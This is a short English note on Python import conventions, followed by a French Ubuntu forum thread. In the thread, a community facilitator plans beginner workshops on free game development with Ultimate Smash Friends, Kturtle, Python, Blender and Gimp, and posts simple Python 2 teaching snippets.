from gat import Node, SubNode
node = Node()
child = SubNode(node)
Sometimes you do this for lot of things, if your import string overflows 80 columns, It's good idea to do this:
from gat import (
Node, SubNode, TopNode, SuperNode, CoolNode,
PowerNode, UpNode
)
The best strategy is to keep all of these imports on the top of the file. Preferrably ordered alphabetically, import -statements first, then from import -statements.
Now I tell you why this is the best convention.
Python could perfectly have had an automatic import, which'd look from the main imports for the value when it can't be found from global namespace. But this is not a good idea. I explain shortly why. Aside it being more complicated to implement than simple import, programmers wouldn't be so much thinking about the depedencies and finding out from where you imported things ought be done some other way than just looking into imports.
Need to find out depedencies is one reason why people hate "from ... import *". Some bad examples where you need to do this exist though, for example opengl -wrappings.
So the import definitions are actually valuable as defining the depedencies of the program. It is the way how you should exploit them. From them you can quickly just check where some weird function is imported from. |
doudoulolita
Faire une animation sur la création de jeux vidéo libres
Dans le topic Création de jeu vidéo libre - Appel à candidatures, j'ai découvert le créateur de jeu de Ultimate Smash Friends, Tshirtman.
Voici ce que je lui ai écrit:
Je cherche un jeu que notre Espace Public Numérique pourrait proposer aux jeunes sur Linux, voire les inciter à participer au projet de développement. smile
Mais j'ai du mal à installer Ultimate smash friends chez moi sur Ubuntu Studio Jaunty... mad
Le lien du paquet en .deb sur http://usf.tuxfamily.org/wiki/Download#Requirements ne fonctionne pas.
J'ai finalement trouvé le paquet en .deb sur cette page en suivant le lien indiqué au bas de la précédente (ouf !).
Mais à l'install avec Gdebi, il m'indique qu'il manque python-support.
Pourtant, j'ai vérifié que j'avais python (version 2.6, faut-il la version 2.3 ?) et j'ai installé python-pygame juste avant.
python-support est bien installé (j'ai vérifié dans synaptic), alors ?
C'est le genre de problème qui n'incitera pas les jeunes à se mettre sous Linux, ça, le moindre effort leur est insupportable, les pauvres chéris... cool
La page d'Ultimate-smash-friends destinée aux développeurs fait un peu peur ! Je dois avouer que moi qui aime dessiner (en utilisant Gimp, Inkscape mais je tate aussi de la 3D avec Blender), j'aimerais participer à titre individuel, mais je n'y comprends goutte !
La discussion s'est poursuivie sur Ultimate Smash Friends: un smash bros like en python
Comme le sujet semblait intéresser plusieurs personnes, je propose de continuer la conversation sur la façon de mener cette animation ici.
Voici où m'avait menée ma réflexion:
Animation: programmation
Trouver une animation permettant d'aborder les notions de base de la programmation, outre ses composantes graphiques, me paraît intéressant, à terme. cool
En tout cas, l'idée reste de travailler sous Linux et en logiciel libre. Donc XNA, on oublie, désolée LittleWhite. wink
L'idée d'un saut pourraît être sympa si ce n'est pas trop complexe, mais on pourrait imaginer des animations progressives et variables suivant l'âge, le niveau et le degré de motivation des jeunes.
On a seulement 2 gamins qui pourraient comprendre et apprécier l'aspect mathématique de la programmation , tandis que les autres risquent d'être vite découragés.
Il faudra plus graphique ou plus simple pour ceux-là (même moi, les fonctions Sinus et Cosinus, j'ai oublié et je n'aimais pas ça quand j'étais jeune! wink)
Mais je vois la possibilité d'animation par étapes de plus en plus complexes:
1 - sous Tuxpaint, il y a un des jeux qui permet de réaliser une petite animation en faisant bouger le personnage.
2 - Sous Kturtle, on fait la même chose mais en code pour déplacer la tortue.
3 - Décomposition graphique du saut - Réalisation des images sur Gimp (ou un programme encore plus simple pour les 8-9 ans), Inkscape ou Blender.
4 - Créer un gif animé placé sur un décor (en HTML avec CSS pour le background)
5 - Afficher les images des étapes à l'aide d'une boucle (PHP ?)
6 - Présenter le langage de programmation contenu dans USF et comment ça fonctionne (moteur de jeu et tout ce que je ne connais pas encore...).
7 - Lire et tenter de comprendre une partie de code dans USF correspondant à un saut.
Initiation au Python:
Il y a peut-être plus simple que le saut, pour démarrer ?
Voici les étapes possibles si on veut en arriver là:
1 - Faire glisser le personnage suivant un seul axe.
2 - Puis sur 2 axes (on glisse sur l'axe Y, on saute tout droit sur l'axe Z et on retombe).
3 - Ensuite, on utilise 2 images pour la marche, ou 1 pour le glissement axe Y et 1 autre pour le saut axe Z
4 - Montrer les courbes sinusoïdale d'un vrai saut dans Blender, etc...
Je ne sais pas si Kturtle permet d'initier à ces courbes, mais ce serait peut-être plus simple qu'avec Python, non ?
Python
Je n'ai pas encore mis les mains et la tête dans Python mais je viens de prendre quelques bouquins à la bibliothèque sur le sujet. Je ne connais pour l'instant que des bribes de PHP et me contente d'essais simples (Mod'imprim ou, encore en phase test Multitours).
Je n'ai meme pas encore utilisé pour mes essais une base MySQL, je vais me lancer bientôt (je connais un peu vu qu'on va parfois trafiquer directement dans notre base de donnée au boulot, pour quelques corrections).
J'espère que j'y arriverai en python, et si moi j'y arrive, tout le monde peut y arriver ! tongue
Faire un jeu texte avec des enfants et des ados me semble impossible dans notre EPN, Tshirtman. Les notres sont difficiles à motiver. mad
Jouer, jouer, jouer, d'accord de leur côté, mais participer à une vraie animation construite et sur une certaine durée c'est beaucoup plus difficile pour notre public. sad
Kturtle
J'ai trouvé moi aussi de mon côté des programmes pour enfants permettant d'apprendre ou tout au moins d'aborder la programmation, basés sur le langage Logo.
Kturtle a effectivement l'avantage d'être très facile à installer (dispo dans les sources de Kubuntu et d'Ubuntu). J'ai plus de mal avec Xlogo ou Tangara.
C'est peut-être un point de départ avant de passer à + compliqué. Mais on m'a dit que Logo était un peu dépassé, dans le genre langage de programmation très accessible. Qu'en pensez-vous ?
Problèmes d'installation
Je confirme que le paquet .deb que m'a proposé Tshirtman ne veut pas s'installer avec Gdebi sur ma Ubuntu Studio Jaunty. Il y a des dépendances brisées me dit-il.
J'essaierai plus tard l'autre solution, mais avec les gamins, faudra bien sûr que ce soit simple à installer, sous Linux comme sous Windows.
Notez que chez nous, les gamins n'ont pas forcément Vista quand ils ont leur propre ordi car ils récupèrent souvent de vieux ordis sous XP ou pire encore. On n'en a aucun qui ait installé Linux pour l'instant, il n'y a qu'à notre EPN qu'ils le voient tourner, et le manque de jeux de haute qualité les fait tiquer.
C'est justement là l'intérêt de travailler un jeu libre avec eux, en plus de chercher d'autres jeux libres plus perfectionnés peut-etre, mais moins faciles d'accès que USF pour des animations sur la programmation et/ou le design de jeux.
En tout cas, ça n'empêche pas de commencer des animations avant que le jeu soit parfait et facile à installer sur toutes les plateformes et versions, puisque nous les animateurs, on peut s'embêter avec une install plus compliquée.
On expliquera que pour l'installer chez eux (pour ceux qui ont un ordi), il faudra attendre un peu que les programmeurs bossent encore.
Mes collègues ont été mis tout récemment sur le coup, lors d'une réunion et je leur ai envoyé les liens seulement hier, donc c'est encore jeune comme projet.
Dernière modification par doudoulolita (Le 24/04/2010, à 17:09)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
bump
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
le problème c'est que l'approche de la boucle est fondamentalement fausse, elle n'a pas de sens dans la réalité d'un jeu vidéo, donc il ne faut pas la présenter à mon avis, ni toute autre solution aussi fausse, avoir expliqué le concept de la boucle de jeu permettrait normalement aux enfants d'en trouver une meilleur (ou moins fausse) directement, autant ne pas les embrouiller.
Bon, je reprendrai les étapes après avoir lu un peu sur la conception de jeux et la programmation, pour ne pas faire d'erreurs.
Mais dans les exemples de Kturtle, j'ai vu un truc qui me semble ressembler:
initialiserépète 3 [ avance 100 tournegauche 120]
Est-ce que ce n'est pas une sorte de boucle ?
Dernière modification par doudoulolita (Le 24/04/2010, à 17:21)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici le code que j'ai fait lors d'un essai avec Turtle:
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
lèvecrayon
va 150,120
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
attends 1
va 20,20
écris "J'ai fait tourner la tortue"
tournedroite 90
avance 200
attends 1
va 60,170
attends 1
répète 18 {
baissecrayon
avance 10
lèvecrayon
avance 10
tournedroite 20
}
va 150,250
tournegauche 90
écris "et de 2 !"
tournedroite 90
avance 100
attends 1
message "C'est fini !"
initialise
taillecanevas 300,300
couleurcanevas 125,10,125
centre
C'est dommage que l'on ne puisse pas enregistrer sous forme de gif animé et que j'aie du mal à ouvrir le fichier .turtle à partir de l'explorateur.
Ce qui est super, c'est que la doc en ligne est en français et très simple à comprendre.
Il y a quelques différences en fonction des versions: contrairement à ce quei est écrit sur la doc, je ne peux pas enregistrer comme page html mais comme une image en png.
Mais c'est déjà sympa si on pense à supprimer les dernières lignes du code bas du code (depuis message jusqu'à centre)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je viens de commencer à apprendre Python en suivant le début du livre "Initiation à la programmation avec Pyton et C++" de Yves Bailly, éditions Pearson (2008).
Sur la capture d'écran ci-dessous, on voit le fichier dans l'explorateur de fichiers, l'éditeur de texte (kate) où on a écrit le programme qu'on a enregistré sous le nom python1.py et la console (toute noire toute triste, pour l'instant ) où on lance l'interpéteur python puis notre fichier python1.py par cette ligne de commande:
python python1.py
Le résultat s'affiche juste en dessous, dans la console, après avoir appuyé sur la touche "Entrée" du clavier.
Finalement, ça commence assez facilement (d'autant que je connais déjà certains principes grâce à PHP). Il n'y a rien à installer sous Ubuntu car Python est inclus.
Le résultat peut même être un peu graphique comme on le voit ici, en utilisant tirets et astérisques, entre autres signes.
L'important est de bien écrire les lignes de code dans l'éditeur de texte, d'enregistrer puis de lancer la commande python python1.py dans la console + touche entrée pour voir le résultat.
ENCODAGE
La première ligne indique l'encodage utilisé, ici utf-8
CHAÎNE
Au début, j'ai utilisé des chaines, c.à.d des suites de caractères qu'on met entre guillemets ou entre apostrophes:
ex: "Bonjour, Tshirtman !"
INSTRUCTION print
Pour que cette chaîne s'affiche, on utilise l'instruction print
print "Bonjour, Tshirtman !"
VARIABLES
le jeu est la première variable. On la définit par:
jeu_1 = "Ultimate Smash Friends"
Pour afficher le nom de jeu, je pourrai écrire:
print jeu_1
Le résultat sera:Ultimate Smash Friends
Si je remplace "Ultimate Smash Friends" par "Kturtle" dans la définition de la variable jeu_1, le résultat sera:Kturtle
Les personnages sont les autres variables. On les définit par:
perso_1 = "BiX"perso_2 = "Blob"
Pour afficher le nom des 2 personnages, je pourrai écrire:
print perso_1
print perso_2
Le résultat sera BiXBlob
CONCATÉNATION
Je peux mettre tout ça à la suite les uns des autres en utilisant le signe +
print "les personnages de " + jeu_1 + " sont " + perso_1 + " et " + perso_2
résultat:les personnages de Ultimate Smash Friends sont BiX et Blob
SÉPARATEUR EN TIRETS
Mon programme python1.py est assez complexe car il définit aussi une fonction permettant de faire des lignes de séparation en astériques et en tirets.
Je ne donnerai pas ici tous les détails, trop complexes pour démarrer.
Mais voici comment réaliser une ligne composée de tirets uniquement (ou d'astérisques ou tout autre signe); c'est assez simple.
Pour compliquer et parvenir à mon résultat (c'est possible, même sans définir de fonction), vous devrez réfléchir un peu !
Le principe, c'est de multiplier le tiret par le nombre de fois qu'on veut voir ce tiret apparaître.
Le tiret est en fait une chaine d'1 seul caractère, donc on doit la mettre entre apostrophes au lieu de guillemets.
soit: '-'
Ensuite, on utilise * pour effectuer la multiplication.
Puis on met un chiffre assez grand pour que la ligne de tirets soit assez longue. 80 tirets, c'est pas mal, non ?
Le code sera donc:
print '-'*80
Si on veut changer ce chiffre de 80 par un autre facilement, le mieux serait de le transformer en variable nommée nb_tirets
EXERCICE
Définissez la variable nb_tirets qui représentera le nombre de tirets composant la ligne.
Imaginez la manière de coder pour faire une ligne de 20 tirets, en changeant juste la valeur de la variable.
Puis faites une ligne de 20 astérisques.
Puis concaténez (= aditionnez) les deux.
Répétez 3 fois (on peut multiplier le code précédent par 3 en le mettant entre parenthèses).
Bon codage !
Dernière modification par doudoulolita (Le 25/04/2010, à 13:39)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Le code est encore bien compliqué car je ne sais pas encore lister automatiquement mes personnages, mais j'utilise des fonctions définies en haut du code, que j'appelle ensuite au sein du programme.
Il y a un petit problème d'encodage des accents quand je regarde ma page de code dans Firefox, mais chez moi, ça fonctionne comme il faut.
Tout ça ne bouge pas beaucoup, mais le côté graphique est amené progressivement.
Si on veut faire une ligne de tirets en pouvant changer ensuite le nombre, on met ce nombre comme variable:
nb_tirets = 80
print '-'*nb_tirets
Je rappelle que le tiret doit être mis entre apostrophes puisqu'il s'agit d'une chaine d'un seul caractère.
Il suffira de changer le chiffre 80 par un autre pour avoir une ligne plus courte ou plus longue.
FONCTION
Mais on peut être amené à réutiliser plusieurs fois ce bout de code, en changeant à chaque fois le nombre de tirets, ce qui oblige à redéfinir la variable à chaque fois et à recopier tout ce code, pas évident !
Si on accumule plusieurs instructions pour un même objet et qu'on a besoin plusieurs fois du même bout de code, une fonction sera vraiment très utile. Le programme fera appel à elle chaque fois qu'il en aura besoin puis reviendra dans le cours normal des instructions.
On va donc définir une fonction pour ce bout de code dessinant une ligne composée d'un nombre précis de tirets successifs, ce qui permettra de l'appeler ensuite quand on veut:
def Tirets(nb_tirets):
chaine_tirets = '-'*nb_tirets
return chaine_tirets
Ne pas oublier les 2 points après la parenthèse donnant l'argument de la fonction (c.à.d nb_tirets) et les tabulations avant chaine_tirets et return. Ce sont ces indentations (faites avec la touche Tab, dans Kate) qui indiquent que l'on est en train de définir la fonction.
L'instruction return permet de faire un calcul, par exemple, sans l'afficher tout de suite.
Quant on appelle cette fonction Tirets au sein du programme, on note entre parenthèses le nombre de tirets désiré. On doit mettre l'instruction print dans le programme avant le nom de la fonction car l'instruction return, présente dans la fonction, n'affiche rien. Cela donnera 80 tirets puis 30 tirets:
print Tirets(80)
print Tirets(30)
SUGGÉRER UN ROCHER
Un rocher est constitué du tiret vertical | (touche 6 + AltGr) au début et à la fin, et d'un nombre variable de tirets (touche 6, sans autre touche). La façon de réaliser un rocher est définie dans la fonction Rocher(nb_tirets).
def Rocher(nb_tirets):
chaine_tirets = '|' + '-'*nb_tirets + '|'
return chaine_tirets
Je rappelle de nouveau que le tiret et le tiret vertical doivent être mis entre apostrophes puisqu'il s'agit pour chacun d'une chaine d'un seul caractère.
Il faudra bien sûr appeler la fonction Rocher par l'instruction print Rocher(10) ou print Rocher(5) au sein du code en indiquant le nombre de tirets désirés (dans notre exemple: 10 ou 5) comme argument.
ESPACER LES ROCHERS
Entre les rochers, il y a des espaces successifs appelés par la fonction Vide, avec en argument le nombre d'espaces (touche espace du clavier, tout bêtement).
def Vide(nb_espace):
chaine_vide = ' '*nb_espace
return chaine_vide
Cette fonction est même plus simple que pour réaliser un rocher ! Il faut juste penser à mettre un espace entre les apostrophes de la chaine.
La 1ère ligne de rochers comprend donc des vides de taille différente et des rochers de taille différente.
print Vide (3) + Rocher(5) + Vide(10) + Rocher(10) + 2*(Vide(5) + Rocher(5)) + "\n"
On note que la succession d'un vide de 5 espaces et d'un rocher de 5 tirets est appelée 2 fois (en multipliant le contenu de la parenthèse par 2) comme ci-dessous:
- Succession d'un vide de 5 espaces et d'un rocher de 5 tirets:
print Vide(5) + Rocher(5)
- La même chose appelée 2 fois:
print 2*(Vide(5) + Rocher(5))
2ème LIGNE DE ROCHERS
Pour la 2ème ligne de rochers, au lieu de changer la taille des vides "à la main", j'ai additionné le chiffre avec un autre au sein de la parenthèse de la fonction Vide, ou soustrait un nombre d'espaces au premier chiffre.
- 1er vide de la 1ère ligne, de 3 espaces:
print Vide (3)
- 1er vide de la 2ème ligne, de 3 espaces supplémentaires, soit 6 espaces:
print Vide (3+3)
- 2ème vide de la 1ère ligne, de 10 espaces. Note : Pour cet exemple, l'instruction print ne se met que si vous faites l'essai isolé, sinon il faut concaténer avec le symbole + la ligne de code précédente avec celle-ci :
print Vide(10)
- 2ème vide de la 2ème ligne, de 7 espaces en moins, soit 3 espaces restants:
print Vide(10-7)
Il semble logique de ne pas changer la taille des rochers.
SYMBOLISER LES PERSONNAGES
Au-dessus des rochers, on a fait une ligne où chaque personnage est représenté par une lettre, rappelant sa forme dans le jeu.
BiX = O Blob = A Stick = I
Il y a des vides appelés par la fonction Vide entre les personnages (leur lettre) et un saut de ligne noté "\n" à la fin de la ligne, code que vous avez remarqué seul dans le fichier à d'autres endroits, concaténé en fin de lignes.
print Vide(5) + perso_1 + Vide(15) + perso_2 + Vide(8) + perso_3 + "\n"
print "\n"
Dernière modification par doudoulolita (Le 25/04/2010, à 13:27)
Hors ligne
psychederic
Re : Faire une animation sur la création de jeux vidéo libres
Si vous savez programmer , vous pouvez faire des programmes dans lequel, il n'y a plus besoin de programmer. (laissons la programmation à ceux que ca interresse des huluberlus comme nous, qui ne serons jamais la majorité de la population : point)
Pourquoi pas : a la fois du mba vers lua, et du devellopement tout graphique ( comme le jeu spore par exemple et le tout avec les avantages du libre , et d'une base de donnée de ressource libre)
Par exemple, dans un premier temps utiliser syntensity, ou refaire un "jeu complet" mugen like avec paintown, c'est peut être ce que cherche les gens : et c'est à leur portée.
( je note aussi qu'il manque aussi une partie scenario, que j'essairai de compléter )
http://doc.ubuntu-fr.org/developpement_de_jeux_video
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
@doudoulolita: eh ben! sacré démarrage heureux de voir que je t'inspire, j'ai un peu survolé tes explications, tu semble prendre les choses dans le bon sens bonne continuation
@psychedric: bizarrement les tentatives pourtant souvent réalisées par des programmeurs très compétends, de créations de langages tout graphiques, n'ont rien donné de très utilisable, en effet, exprimer la même chose avec des boutons et des graphiques qu'avec des mots clées et des suites d'ordres, s'avère être contre productif, il est vrai que la majeur partie de la population ne sera jamais développeur, mais ça ne vient pas du langage utilisé, en fait, il semble qu'on puisse aisément déterminer qui sera potentiellement programmeur et qui ne le sera pas, par un simple test, avant même d'avoir enseigné les bases… ça peut paraitre élitiste, mais c'est malheureusement le cas, enfin être formé à la programmation semble être absoluement insuffisant pour s'assurer d'être un vrai développeur…
http://www.codinghorror.com/blog/archives/000635.html
http://www.codinghorror.com/blog/2007/02/why-cant-programmers-program.html
(et dans les deux, une bonne myriade de liens très instructifs)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Merci pour les liens que j'irai voir prochainement.
Dans mon optique, il ne s'agit pas que tous les jeunes et toutes les personnes à qui nous proposerions une telle animation deviennent de vrais développeurs.
Le but du jeu est juste d'aborder, de faire découvrir la programmation pour que les jeunes comprennent de quoi il s'agit, et qu'ils puissent voir si ça leur plaît vraiment (au cas où ils rêvent de créer des jeux vidéos).
Il y a aussi la partie graphique, dans un jeu vidéo qui peut être abordée en participant au développement d'un jeu comme Ultimate Smash Friends
<- Sorlo
Aujourd'hui, j'ai montré Ultimate Smash Friends et mon personnage Sorlo à mon neveu qui vient tout juste d'avoir 11 ans et cela lui a donné envie d'en créer un lui aussi.
Mon neveu dessine plutôt bien et à plein d'idées. Il adore utiliser ma tablette graphique et commence à s'habituer à Gimp (il a Photoshop sur Mac, chez lui, mais il n'y fait pas beaucoup d'ordi). Aujourd'hui, il a griffonné quelques croquis très sympas et il ne parvenait plus à s'arrêter tellement ses idées fusaient !
Comme quoi, un gamin motivé peut partir dans des directions très intéressantes et même s'il ne va pas jusqu'au bout dans la mise au propre, ses idées peuvent être reprises par les adultes s'il est d'accord.
C'est sans doute plus complexe pour aborder la programmation, mais les petits logiciels comme Kturtle qui permettent de s'y initier sont déjà bien pour les plus jeunes, et quelques essais permettent de voir si on veut s'y coller ou pas quand on est plus âgé.
L'idéal serait d'avoir à un moment un vrai développeur qui vienne faire une intervention, mais il doit être en mesure de se mettre à la portée des jeunes, ce qui n'est pas si facile.
Ce qui semble évident pour un adulte peut en effet paraître totalement incompréhensible à un enfant.
Même en bases informatique, on voit aussi des adultes peiner devant des choses qui nous semblent aller de soi.
L'autre jour, une dame d'environ 60 ans me disait que pour elle, le clic droit ne voulait pas dire cliquer avec le bouton droit mais cliquer en allant tout droit ! Elle s'était même disputée avec son fils à ce sujet...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Problème pour installer Syntensity sous Ubuntu Jaunty!
Je vais chercher d'autres choses, j'ai vu aussi la possibilité de faire de la programmation en python avec Blender.
Mais je dois bien sûr trouver quelque chose de simple en vue de mon projet d'animation.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour MyPaint, on ne peut pas installer le paquet mypaint comme indiqué dans les pré-requis de la doc d'Ubuntu (lien mort et pas trouvé dans les dépots)
Une fois l'install' effectuée, il s'ouvre mais me signale une erreur de programmation. Je ferme cette fenêtre, histoire de lui clouer le bec, et j'essaie de dessiner un peu mais la fenêtre d'erreur revient toutes les 10 secondes...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
En langage python, pour que le joueur puisse entrer une donnée, voici le code à taper dans un simple éditeur de texte :
print "Joueur n°1, tapez votre pseudo: ",
pseudo1 = raw_input()
print "Bienvenue à", pseudo1, "dans Ultimate Smash Friends, vous êtes le joueur n° 1 !"
L'instruction print permet l'affichage de la chaîne de caractère de la 1ère ligne. On se rappelle que ces chaines sont mises entre guillemets.
raw_input() permettra d'entrer la donnée pseudo1 dans le programme pour l'utiliser par la suite.
Nous l'afficherons dans une phrase grâce à la 3ème ligne. Celle-ci insèrera cette donnée pseudo1 entre 2 chaines de caractères (toujours entre guillemets, souvenez-vous !).
La virgule derrière la question, dans le code, permet que votre réponse reste sur la même ligne que la question. Idem pour les virgules avant et après pseudo1
Enregistrez sous le nom de progpseudo.py dans un dossier nommé programmes. Remplacez par le nom de votre propre programme et de votre propre dossier s'il est différent, bien sûr
Ouvrez la console (Konsole ou Terminal).
Placez vous dans le bon dossier grâce à la commande cd suivie du chemin du dossier (change directory = changer de répertoire). Ex:
cd /home/laurence/programmes
Tapez sur la touche Entrée du clavier pour entrer dans le répertoire demandé.
Ecrivez ce code à la suite dans la console pour appeler votre super programme:
python progpseudo.py
Tapez sur la touche Entrée pour lancer le programme.
La console affiche alors la 1ère ligne, à laquelle vous devez répondre.
Répondez puis validez avec la touche Entrée.
La console affichera ensuite votre réponse à l'intérieur de la phrase appelée par la 3ème ligne de code.
Cette image montre à la fois le code écrit dans l'éditeur de texte et le résultat dans la console. N'oubliez pas que je n'ai tapé mon nom qu'une fois dans la console et nulle part dans le code !
Si vous copiez-collez ces 3 lignes de codes en dessous des précédentes et que vous remplacez le chiffre 1 par le chiffre 2, vous pourrez aussi demander son pseudo au joueur n°2 et l'afficher pareillement. Essayez !
Demandez ensuite le prénom des 2 joueurs puis arrangez-vous pour l'afficher dans une phrase du type:Le pseudo de Laurence est Doudoulolita tandis que le surnom de Jean est Patouille.
N'hésitez pas à inventer d'autres questions et d'autres phrases pour vous amuser.
Dernière modification par doudoulolita (Le 18/05/2010, à 00:40)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
print "Joueur n°1, combien de points de vie avez-vous ?",
nb_points1 = int(raw_input())
print "Joueur n°2, combien de points de vie avez-vous ?",
nb_points2 = int(raw_input())
print "Au début du jeu,", pseudo1, "a", nb_points1, "points de vie,", pseudo2, "en a", nb_points2, "."
print "Il y a", \
nb_points1 + nb_points2, \
"points de vie en tout."
int(raw_input()) permet d'entrer un chiffre que l'on pourra réutiliser dans un calcul, comme ici avec nb_points1 + nb_points2. Notez qu'il y a 2 parenthèses fermantes à la fin, une pour fermer raw_input, une pour fermer int. Mais n'oubliez pas d'ouvrir les parenthèses avant de les fermer !
On note les \ avant et après le calcul, et les espaces pour indenter les 2 dernières lignes (c'est à dire les décaler vers la droite). Ne pas utiliser la touche Tabulation car il me semble que ça pose problème.
Le programme suivant se base sur cet exemple mais l'addition (ici: 5+6 = 11) est placée avant le nombre de points de chaque joueur. Il réutilise aussi le code appris précédemment.
Cliquez sur l'image de la console pour voir le code utilisé (écrit dans l'éditeur de texte, donc)
Bon, dans un jeu, on ne choisit pas soi-même ses points de vie, mais vous pouvez prendre un dé pour décider de votre réponse !
Quant au nombre de joueurs, si vous le choisissez plus élevé que le nombre choisi par le programmeur pour l'instant (ici je n'en ai prévu que 2...), vous n'aurez pas de questions pour les joueurs 3, 4, etc.
A vous de coder pour prévoir 4 joueurs, comme dans le vrai jeu d'Ultimate Smash Friends !
Dernière modification par doudoulolita (Le 20/07/2010, à 19:02)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaj'y voit plus claire maintenant mercie!!!!!!
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
je comprend bien mieu
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
lol, t'as le même avatar que Kanor, je t'ai pris pour lui au début, comme il fait aussi du python ^^, mais ça m'étonnait qu'il ait appris un truc juste là .
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Mon premier atelier sera sur Blender les 19 et 20 juillet de 14 à 16h à l'Espace libre 13.1.
Au programme: création d'une petite barque et intégration dans un fond en vue de créer un décor pour le jeu Ultimate Smash Friends.
Deuxième atelier sur la programmation python (B.A.BA) les 22 et 23 juillet de 14 à 16h. Un mini-script python pour Blender trouvé sur Internet complétera quelques exercices en mode texte.
Dernière modification par doudoulolita (Le 12/07/2010, à 13:47)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici une idée de ce que je souhaite réaliser avec les participants à mon atelier Blender du 19 et 20 juillet 2010 (pour adultes et jeunes à partir de 15 ans):
Les participants réaliseront une barque sur Blender.
Elle est modélisée avec des extrusions, le modificateur Miroir et des redimensionnements utilisant le PET (Outil d'Edition Proportionnelle).
Il faudra placer lampe et caméra pour voir la barque de profil.
On apprend aussi à utiliser le mode points, le mode arêtes et le mode faces, ainsi que l'outil Couteau (K), et à choisir un rendu en png avec un fond transparent (RGBA).
Enfin, on ajoute à la barque un matériau marron et une texture bois.
Puis, si on a le temps, les participants insèreront l'image rendue en plusieurs exemplaires avec Gimp sur une image de fond (trouvée sur internet). Ils ajouteront le personnage Sorlo pour se donner une idée de la taille que doit avoir la barque. On utilisera donc l'outil de recadrage, les calques et l'outil de redimensionnement.
L'image de fond provient de http://commons.wikimedia.org/wiki/File: … rfeurs.jpg
Dernière modification par doudoulolita (Le 12/07/2010, à 13:56)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Oula, l'idée est intéressante mais assez perturbante du point de vue perspective ^^.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Comme je l'ai marqué sur l'autre topic sur USF, je n'ai pas eu grand monde à mon animation.
Sur les 5/6 inscrits, seulement 2 se sont présentés, un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux, et un adulte qui s'intéressait en fait à la retouche photo sur Gimp.
Le jeune a quand même commencé un petit iceberg en vue d'en faire un élement de décor pour USF, avec Blender; ma barque ne le motivait pas beaucoup (et pourtant, sur le plan didactique, il y avait plus à apprendre !)
Pour une animation de 2x2h, on ne peut de toute façon pas faire un truc très travaillé.
Je voulais surtout leur apprendre à modéliser et texturer la barque et j'ai un peu vite fait l'insertion sur le fond, sans trop me prendre la tête dessus, j'avoue !
L'idéal serait en fait de "fabriquer la mer" avec Blender ou en tout cas de mieux placer les barques sous la camera pour avoir une perspective correcte, effectivement (mais comment placer des repères fiables ?).
Il faudrait aussi mettre quelques vagues en bas des barques pour les faire flotter en utilisant une copie du calque et un masque de calque.
Mais travailler sur un décor "à plat" (et non un truc en hauteur) n'était peut-être la meilleure idée pour un décor de jeu 2D.
Le jeune qui a fait l'iceberg pendant l'animation voudra sans doute faire aussi la mer avec Blender ou avec Gimp et là, je dois dire que je n'ai pas encore étudié la question de la profondeur. On se retrouvera aussi avec un problème de perpective.
En fait, la question que je me posais avant de concevoir cette animation, c'était de savoir si je choisissais le thème du décor et que je l'imposais à tous (plus facile avec un groupe de personnes au-delà de 4 ou 5) ou si je partais des idées des participants, ce qui implique qu'ils se mettent d'accord et pour moi, de m'adapter à un truc qu'on n'a pas testé avant.
Dans l'un comme l'autre cas, j'ai fait une erreur en oubliant un des principes de base du jeu, qui fonctionne en 2D et dont le décor doit se travailler sur l'axe Z de Blender !
J'espère avoir un peu de monde Jeudi et vendredi pour la programmation, mais si besoin, je m'adapterai aux personnes présentes.
De toute façon, la préparation de ces ateliers m'a permis d'acquérir des petites bases sur Python et j'ai même fait un essai de Pygame grâce à des tutos sur le web, donc ce n'est pas du temps perdu.
Je me suis aussi acheté le bouquin "The blender Gamekit", en anglais. A suivre...
Dernière modification par doudoulolita (Le 20/07/2010, à 18:56)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je me suis amusée à faire encore d'autres petits essais en python en mode texte mais je voulais passer au côté graphique.
Dans le livre "Initiation à la programmation" d'Yves Bailly, qui m'a servi de base, les exemples sont donnés avec la bibliothèque Qt.
J'ai trouvé des tutos intéressants pour python avec Pygame (en anglais)
J'ai suivi les 2 premiers tutos, très simples, de pygame-tutorial et un autre pour apprendre à incorporer une image . Mon code n'est pas super mais ça affiche quelque chose !
